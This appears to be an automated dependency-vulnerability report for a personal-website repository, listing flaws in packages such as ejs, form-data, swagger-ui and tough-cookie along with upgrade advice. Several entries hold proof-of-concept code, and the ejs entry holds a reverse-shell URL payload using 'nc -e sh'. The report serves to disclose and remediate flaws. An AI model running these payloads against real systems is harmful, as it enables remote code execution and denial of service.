Vulnerabilities

25 via 58 paths

Dependencies

516

Source

GitHub

Commit

840909dd

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 25
  • 2
Severity
  • 1
  • 5
  • 18
  • 3
Status
  • 27
  • 0
  • 0

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 request@2.88.2 form-data@2.3.3
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 request@2.88.2 form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: loopback-component-explorer@4.3.1 and strong-error-handler@1.2.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 strong-globalize@2.10.0 os-locale@2.1.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to loopback-component-explorer@6.2.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 strong-globalize@2.10.0 os-locale@2.1.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to strong-error-handler@3.0.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 strong-globalize@2.10.0 os-locale@2.1.0 execa@0.7.0 cross-spawn@5.1.0
    Remediation: Upgrade to loopback-component-explorer@5.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@4.4.7

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc @angular/compiler@4.4.7
    Remediation: Upgrade to @angular/compiler@19.2.17.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via incomplete sanitization of certain SVG and MathML attributes, including xlink:href, math|href, as well as the attributeName attribute of SVG animation elements when it is bound to href or xlink:href. An attacker can execute arbitrary JavaScript code in the context of the application by injecting a javascript: URL payload into these attributes, which is then triggered either by user interaction or automatically through animation.

Workaround

This vulnerability can be mitigated by:

  1. Ensuring that data bound to the vulnerable attributes is never sourced from untrusted user input

  2. Avoiding affected template bindings

  3. Not binding untrusted data to the attributeName attribute of SVG animation elements

  4. Enabling a robust Content Security Policy (CSP) that disallows javascript: URLs.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 19.2.17, 20.3.15, 21.0.2 or higher.

References

high severity
new

Uncontrolled Recursion

  • Vulnerable module: nodemailer
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 nodemailer@6.10.1

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.

Remediation

Upgrade nodemailer to version 7.0.11 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: loopback@3.28.0, strong-error-handler@1.2.1 and others

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 ejs@2.7.4
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 ejs@2.7.4
    Remediation: Upgrade to strong-error-handler@3.5.0.
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity
new

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.7

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc @angular/common@4.4.7
    Remediation: Upgrade to @angular/common@19.2.16.

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data via the HttpClient which has a built-in XSRF protection mechanism. An attacker can obtain sensitive authentication tokens by crafting requests using protocol-relative URLs that cause the token to be sent to domains under the attacker's control.

Note: This is only exploitable if XSRF protection is enabled and the application allows requests to protocol-relative URLs.

Workaround

This vulnerability can be mitigated by avoiding the use of protocol-relative URLs (those starting with //) in requests and ensuring all backend communication URLs are either relative paths or fully qualified, trusted absolute URLs.

Remediation

Upgrade @angular/common to version 19.2.16, 20.3.14, 21.0.1 or higher.

References

medium severity

Interpretation Conflict

  • Vulnerable module: nodemailer
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 nodemailer@6.10.1

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of quoted local-parts containing @. An attacker can cause emails to be sent to unintended external recipients or bypass domain-based access controls by crafting specially formatted email addresses with quoted local-parts containing the @ character.

Remediation

Upgrade nodemailer to version 7.0.7 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 request@2.88.2
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to a lack of sanitization of URLs used for OAuth auth flow.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade swagger-ui to version 3.20.9 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to insertion of javascript: and data: URLs from user-influenced href fields in Swagger-UI.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade swagger-ui to version 3.4.2 or higher.

References

medium severity

Relative Path Overwrite (RPO)

  • Vulnerable module: swagger-ui
  • Introduced through: loopback-component-explorer@4.3.1

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 swagger-ui@2.2.10

Overview

swagger-ui is a library that allows interaction and visualisation of APIs.

Affected versions of this package are vulnerable to Relative Path Overwrite (RPO). Attackers are able to use the Relative Path Overwrite (RPO) technique to perform CSS-based input field value exfiltration, such as exfiltration of a CSRF token value i.e. allows the embedding of untrusted JSON data from remote servers, using <style>@import within the JSON data.

Remediation

Upgrade swagger-ui to version 3.23.11 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 request@2.88.2 tough-cookie@2.5.0
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: loopback@3.28.0, loopback-boot@2.28.0 and others

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-boot@2.28.0 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-connector-mongodb@3.9.2 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 strong-globalize@2.10.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc strong-error-handler@1.2.1 strong-globalize@2.10.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-connector-mongodb@3.9.2 loopback-connector@4.11.1 strong-globalize@5.1.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 strong-globalize@5.1.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-datasource-juggler@3.36.1 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-phase@3.4.0 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback-component-explorer@4.3.1 loopback-swagger@3.0.3 strong-globalize@2.10.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-datasource-juggler@3.36.1 loopback-connector@4.11.1 strong-globalize@5.1.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 strong-globalize@5.1.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 loopback-datasource-juggler@3.36.1 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 loopback-phase@3.4.0 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 strong-remoting@3.17.0 strong-error-handler@3.5.0 strong-globalize@6.0.6 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 loopback-datasource-juggler@3.36.1 loopback-connector@4.11.1 strong-globalize@5.1.0 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 loopback-phase@3.4.0 strong-globalize@4.1.3 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 loopback-connector-remote@3.4.1 strong-remoting@3.17.0 strong-error-handler@3.5.0 strong-globalize@6.0.6 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: loopback@3.28.0

Detailed paths

  • Introduced through: personal-website@nimatullah/angular2_personal_website#840909ddf08e2ea3b72abb2d2cc65ea9cd8fcddc loopback@3.28.0 nodemailer-direct-transport@3.3.2 smtp-connection@2.12.0 httpntlm@1.6.1 underscore@1.7.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: swagger-ui
